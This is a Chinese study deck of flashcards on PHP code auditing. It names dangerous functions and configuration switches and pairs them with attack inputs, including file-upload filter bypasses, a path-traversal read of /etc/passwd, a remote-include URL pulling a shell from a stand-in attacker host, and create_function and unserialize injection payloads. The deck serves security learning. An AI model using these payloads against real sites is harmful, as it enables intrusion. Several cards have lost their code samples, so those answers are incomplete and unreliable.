代码审计 Flashcards

1
Q

magic_quotes_runtime干什么用的

A

魔术引号

自动在’,”,\,NULL前面加反斜杠\

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

文件上传漏洞,有一个文件test.jpg,里面代码是木马代码,我把后缀名改成jpg了,我想让它执行里面的代码,怎么做

A

当访问www.xx.com/phpinfo.jpg/1.php这个URL时,会将phpinfo.jpg作为PHP文件来解析(1.php是不存在的文件)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

文件上传漏洞中,如果网站把asp用黑名单过滤掉了,还可以用什么后缀代替(如hello.asp)

A

大小写:hello.aSp

hello. asa
hello. cer
hello. cdx

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

php中popen()是什么漏洞

A

命令执行漏洞
>D:/2.txt’,’r’);?>
第一个参数是命令
第二个参数是指针文件的连接模式,有r和w代表读和写

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

phpinfo()’;
preg_replace(“/(.*?)$regexp”, ‘\1’, $var);
?>
能看出什么漏洞

A

代码执行漏洞preg_replace()

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

文件上传漏洞中,apache的conf里面有这样一个配置
AddType application/x-httpd-php .jpg
是什么意思

A

即使扩展名是jpg,一样能以php方式执行

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

请说明php中的md5比较漏洞是什么意思

A

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么php将会认为他们相同,都是0。
所以php中md5(QNKCDZO)==md5(240610708)这个说法是正确的

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

php中file_put_contents()表示什么漏洞

A

本地文件写入漏洞

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

能看出什么漏洞

A

array_map()代码执行漏洞

我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

文件上传漏洞中,如果是服务端校验不允许上传php格式,怎样通过抓包的方法绕过

A

上传1.php,用burp抓包,将content-type字段改为image /gif或者image /jpeg

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

php中::是什么作用

A

在PHP中“::”这个叫范围解析操作符,又名域运算符  
“::”符号可以认为是与C语言中的“.”相似的,而它更像C++中(Perl)的::类范围操作符。

  php调用类的内部静态成员,或者是类之间调用就要用::
    下面是一个例子:
      class A
   {
       static $count = 0;
        static function haha()
       {
           //
        }  
       function diaoyoug()
     {
          self::haha();
        self::$count;
       }
   }

  a.b.c; /* C语言中的 */

  a::b::c(); // C++ 中的函数

  $a::b::c; # Perl 5中的标量

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

php中strcmp有什么特点

A

返回0的意思是相等。

  1. 2 中是将两个参数先转换成string类型。
  2. 3.3以后,当比较数组和字符串的时候,返回是0。
  3. 5 中如果参数不是string类型,直接return了
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

php中,parse_str()的作用是什么,会有什么漏洞

A

作用是:解析字符串并注册成变量,会直接覆盖已有变量

变量$b原有的值1被覆盖为了2

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

php中in_array()有什么特点?

A

函数作用:用来判断一个值是否在某个数组列表里
$array=[0,1,2,’3’];
var_dump(in_array(‘abc’, $array)); //true
var_dump(in_array(‘1bc’, $array)); //true
可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。
在所有php认为是int的地方输入string,都会被强制转换

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

php中,register_globals=on时,表示什么

A

变量来源可能是各种不同的地方,都可以覆盖

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

php中双引号的但引号表示字符串有区别吗

A

双引号会解析中间的变量,如:
$a = ‘hello’
$b=”$a”,则b=‘hello’
但$b=’$a’,则b=’$a’

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

${ } 有什么漏洞

A

它将执行花括号间的代码,并将结果替换回去

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

if (ini_get(‘register_globals’))
foreach($_REQUEST as $k=>$v)
unset($($k));

变量$a没有初始化,在register_globals=on时,控制$a出错
http://www.abc.com/test1.php?a=1$b=2
显示$a未定义,这时该怎么办

A

http://www.abc.com/test1.php?GLOBALS[a]=1$b=2则覆盖成功

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

php中switch()有什么特点

A

如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:

这个时候程序输出的是i is less than 3 but not negative,是由于switch()函数将$i进行了类型转换,转换结果为2。

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

allow_url_include干什么用的

A

在该配置为 on 的情况下,它可以直接包含远程文件,当存在 include ($var) 且 $var 可控的情况下,可以直接控制 $var 变量来执行 PHP 代码。
allow_url_include 在 PHP 5.2.0 后默认设置为 off,配置范围是 PHP_INI_ALL。
与之类似的配置有 allow_url_fopen,配置是否允许打开远程文件,不过该参数对安全的影响没有 allow_url_include 大
配置 allow_url_include 为 on,可以直接包含远程文件。测试代码如下:

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

想查看php的配置文件,应该搜索什么关键字的文件名

A

config

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

php中,import_request_variables()的作用是什么,会有什么漏洞

A

作用:把GET,POST,COOKIE的参数注册成变量

此时访问网址:http://test.com/1.php?b=2,则$b的值1被覆盖成了2

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

php审计中,关于配置,我们需要注意哪几个配置,说出10个

A
SET NAMES 如果是gbk,则存在宽字节漏洞
register_globals 全局注册开关
allow_url_include 是否包含远程文件
magic_quotes_gpc 魔术引号
magic_quotes_runtime 魔术引号(针对文件和数据库)
safe_mode 安全模式
open_basedir 限制php可访问目录
disable_functions 禁用函数
display_errors
display_errors 和 error_reporting 错误显示
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

open_basedir是干什么用的

A

用来现实php只能访问哪些目录

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

一个开关的配置范围是PHP_INI_PERDIR,我应该去哪里设置这个开关

A

php.ini或htaccess或httpd.conf中设置

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

SET NAMES ‘gbk’能看出什么漏洞?

A

容易存在宽字节漏洞

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

本地包含漏洞什么情况下使用%00截断

A

因为服务器代码规定了后缀,所以不能为所欲为地包含文件时

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

文件上传漏洞中www.xx.com/xx.asp;.jpg是什么原理

A

服务器默认不解析;后面的内容,因此xx.asp;.jpg被解析为asp

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

apache服务器里面有这样的配置
AddHandler php5-script.php
服务器禁止上传php文件,怎样绕过?

A

有这个配置的话,只要文件名里面包含.php,即使文件名是test2.php.jpg,也会以php来执行

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
30
Q

文件上传漏洞中,如果客户端校验不允许上传asp格式文件怎么办

A

上传1.jpg,然后burp抓包,改成1.asp

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
31
Q
if ($route == "share"){
    require_once $basePath . '/action/m_share.php';
}
elseif ($route == "sharelink"){
    require_once $basePath . '/action/m_sharelink.php';
}
审计上面代码,有什么漏洞?怎样利用?
网址为www.hello.com/1.php
A

www.hello.com/1.php?param=http://attacker/phpshell.txt?
则代码执行require_once ‘http://attacker/phpshell.txt?/action/m_share.php’

远程文件包含也可以执行命令,比如上面的phpshell.txt的内容如果是:

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
32
Q

php中getimagesize()函数有什么漏洞

A

getimagesize()函数:验证文件头只要为GIF89a,就会返回真(意思是上传不是图片的文件也会认为是图片)。

举例:在木马内容基础上再加了一些文件信息,如muma.gif的内容为GIF89a

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
33
Q

php中,disable_functions的配置范围是php.ini only,那么应该去那里设置这个开关?

A

只能在php.ini中设置

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
34
Q

php中,passthru()表示什么漏洞

A

命令执行漏洞

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
35
Q

能看出什么漏洞,关键函数是什么?

A

ob_start()

代码执行漏洞

36
Q

一个开关的配置范围为PHP_INI_SYSTEM,应该去哪里设置这个开关?

A

php.ini或httpd.conf中设置

37
Q

php中exec()表示什么漏洞

A

命令执行漏洞

38
Q
php中如何利用MD5不能处理数组?
if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
A

if(@md5($_GET[‘a’]) == @md5($_GET[‘b’]))
{
echo “yes”;
}

http://127.0.0.1/1.php?a[]=1&b[]=2

39
Q

magic_quotes_gpc是干什么用的

A

魔术引号

40
Q

命令执行漏洞函数是指什么样的函数

A

可以执行系统或应用指令(CMD命令或bash命令)的漏洞

41
Q

上述代码有什么漏洞

A

create_function()可以动态函数代码执行

提交:
http://127.0.0.1/create_function.php?foobar=system%28dir%29
执行dir命令

42
Q

php中看到unset()能看到什么?

A

unset(bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。

43
Q

请解释php中弱类型比较的意思

A

== 是弱类型的比较
0 == ‘a’
‘100’ == ‘1e2’
都是对的

44
Q

变量覆盖漏洞应该注意哪四个函数

A

extract()
parse_str()
import_request_variables()
$$变量覆盖

45
Q

能看出什么漏洞

A

当请求1.php?a=assert的时候,则调用了assert函数,并将phpinfo作为参数传入

46
Q

php中,exetract()函数的作用是什么?会有什么漏洞?

A
'1');
extract($a);
print_r($b);
?>
经过extract()函数对变量$a处理后,变量$b的值被覆盖为了1
47
Q

display_errors和error_reporting干什么的

A

错误显示,这两个指令的配置范围都是PHP_INI_ALL

48
Q

disable_functions干什么的

A

禁用函数

本指令配置范围为php.ini only

49
Q
php中:
echo is_numeric(23333);
echo is_numeric('23333');
echo  is_numeric(0x23333);
echo  is_numeric('0x23333');
echo  is_numeric('23333abc');
请判断真假
A
echo is_numeric(23333);真
echo is_numeric('23333');真
echo  is_numeric(0x23333);真
echo  is_numeric('0x23333');真
echo  is_numeric('23333abc');假
这个函数的范围比较广泛,不仅仅是十进制的数字
50
Q
PHP_INI_USER
PHP_INI_PERDIR
PHP_INI_SYSTEM
PHP_INI_ALL
php.ini only

请说出这5个配置分别可以在哪里设置

A

PHP_INI_USER
该配置选项可在用户的PHP脚本或Windows注册表中设置

PHP_INI_PERDIR
该配置选项可在php.ini或htaccess或httpd.conf中设置

PHP_INI_SYSTEM
该配置选项可在php.ini或httpd.conf中设置

PHP_INI_ALL
该配置选项可在任何地方设置

php.ini only
该配置选项仅可在php.ini中配置

51
Q

open_basedir干什么用的?

A

PHP可访问目录
用来限制PHP只能访问哪些目录

在PHP版本小于5.2.3时是PHP_INI_SYSTEM
在PHP版本大于等于5.2.3时是PHP_INI_ALL

52
Q

php中proc_open()表示什么漏洞

A

命令执行漏洞proc_open()

53
Q

php中pcntl_exec()表示什么漏洞

A

命令执行漏洞

54
Q

$file = $_GET[‘file’];
if (file_exists(‘/home/wwwrun/’.$file.’.php’))
{include ‘/home/wwwrun/’.$file.’.php’;}

请审计代码,并说明如何利用
网址为:www.hello.com/1.php

A

本地包含漏洞

www.hello.com/1.php?file=../../etc/passwd%00

55
Q

有什么特征来判断这个文件是配置文件

A

配置文件通常都是带有’config’关键字,只要搜索这个关键字的文件名即可

56
Q

文件上传漏洞中

www.xxx.com/xx.asp/xx.jpg是什么原理

A

服务器默认会把.asp,.asp目录下的文件都解析成asp文件

57
Q

magic_quotes_gpc干什么的

A

魔术引号

58
Q

看到preg_match()会想到什么?

A

如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

59
Q

php中,allow_url_include是干什么的?

A

allow_url_include为on时,可以直接包含远程文件

60
Q

php中,如下代码输出什么?


echo icov(“UTF-8”,”gbk”,$a);
?>

A

1?2
1
当使用iconv()函数转换编码后,当文件名中有chr(128)到chr(255)之间都可以截断字符

61
Q

怎么利用

网址是:http://hello.com/test/123.php

A

本地包含漏洞
http://hello.com/test/123.php?f=test.txt
或者
http://hello.com/test/123.php?f=data:text/plain,
或者
http://hello.com/test/123.php?f=data:text/plain,

62
Q

本地文件包含漏洞需要注意哪四个函数?

A

include()
include_once()
require()
require_once()

63
Q

php中,$$会造成什么漏洞

A

变量覆盖漏洞

64
Q
以下可执行回调函数,当回调函数可控时将导致代码执行漏洞,请把每一个看一遍
usort()
uasort()
uksort()
array_filter()
array_reduce()
array_diff_uassoc()
array_diff_ukey()
array_udiff()
array_udiff_assoc()
array_udiff_uassoc()
array_intersect_assoc()
array_intersect_uassoc()
array_uintersect()
array_uintersect_assoc()
array_uintersect_uassoc()
array_walk()
array_walk_recursive()
A
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
65
Q

php中->什么意思

A

和安卓逆向差不多,表示访问类里的函数或对象

66
Q

php中看到system()表示什么漏洞

A

命令执行漏洞

system()会直接回县打印输出,不需要echo

67
Q

php中===是什么意思

A

此符号除了判断两变量是否相等外,还会判断值类型是否一致

68
Q

register_globals干什么用的,举例说明

A

register_globals=on时,变量来源可能是各种不同的地方,都可以覆盖

69
Q

apache服务器设置不允许上传php文件,加什么后缀可以绕过

A

修改后缀,文件名为122.php.7zz(7zz是不能识别的后缀名)
或者
修改后缀,文件名为1.phpX(X代表某个字符)

70
Q

文件上传漏洞中,如果对方把php字符给黑名单过滤掉了,还可以用什么后缀代替?如hello.php

A

php后面加个空格

hello.php[空格]

71
Q

php中,register_globals开关如果配置范围为PHP_INI_ALL,那么可以在哪里设置这个开关?

A

可以在任何地方设置

72
Q

php中shell_exec()表示什么漏洞

A

命令执行漏洞

73
Q

请说出3个php中可以执行代码的函数(代码函数漏洞)

A

eval()
assert()
双引号””
php中的双引号是可以解析变量的

74
Q

请说出文件包含截断的3种方法

A

%00截断
问号?截断
长度截断,windows下256个字节,linux下4096个字节

75
Q

php中sha1和md5可以处理数组吗?返回什么?

A
都不能处理数组,返回NULL
if (@sha1([]) ==  false)
    echo 1;
if (@md5([]) ==  false)
    echo 2;
echo var_dump(@sha1([]));
76
Q

php中intval()把字符串转换为数字,有什么特点?

A

将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。
var_dump(intval(‘2’)) //2
var_dump(intval(‘3abcd’)) //3
var_dump(intval(‘abcd’)) //0

77
Q
var);
}
}
unserialize($_GET['saved_code']);
?>
能看出什么漏洞
A

我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。

78
Q

php中fwrite()表示什么漏洞

A

本地文件写入

79
Q

php中反引号`表示什么漏洞

A

命令执行漏洞

实际上反引号也是调用shell_exec()

80
Q

parse_str()看到这个函数会想到什么?

A

parse_str将字符串解析成多个变量,如果参数str是url传递入的查询字符串,则它将解析为变量并设置到当前作用域。类似的函数还有mb_parse_str()

变量$b原有的值1被覆盖为了2

81
Q

php中遇到ereg函数,应该想到什么?

A

ereg函数有%00截断漏洞

82
Q

php除了可以解析php后缀,还可以解析什么后缀?

A

php2,php3,php4

83
Q

php中=>什么意思

A

数组中赋值
比如:$arr=array(“one” =>(“1”=>10, “2”=>20), “two”=>2);
那么$arr[“one”][“1”]=10;

84
Q

php中fputs()表示什么漏洞

A

本地文件写入

85
Q

php中escapeshellcmd()表示什么漏洞

A

命令执行漏洞

86
Q

magic_quotes_runtime是干什么的

A

魔术引号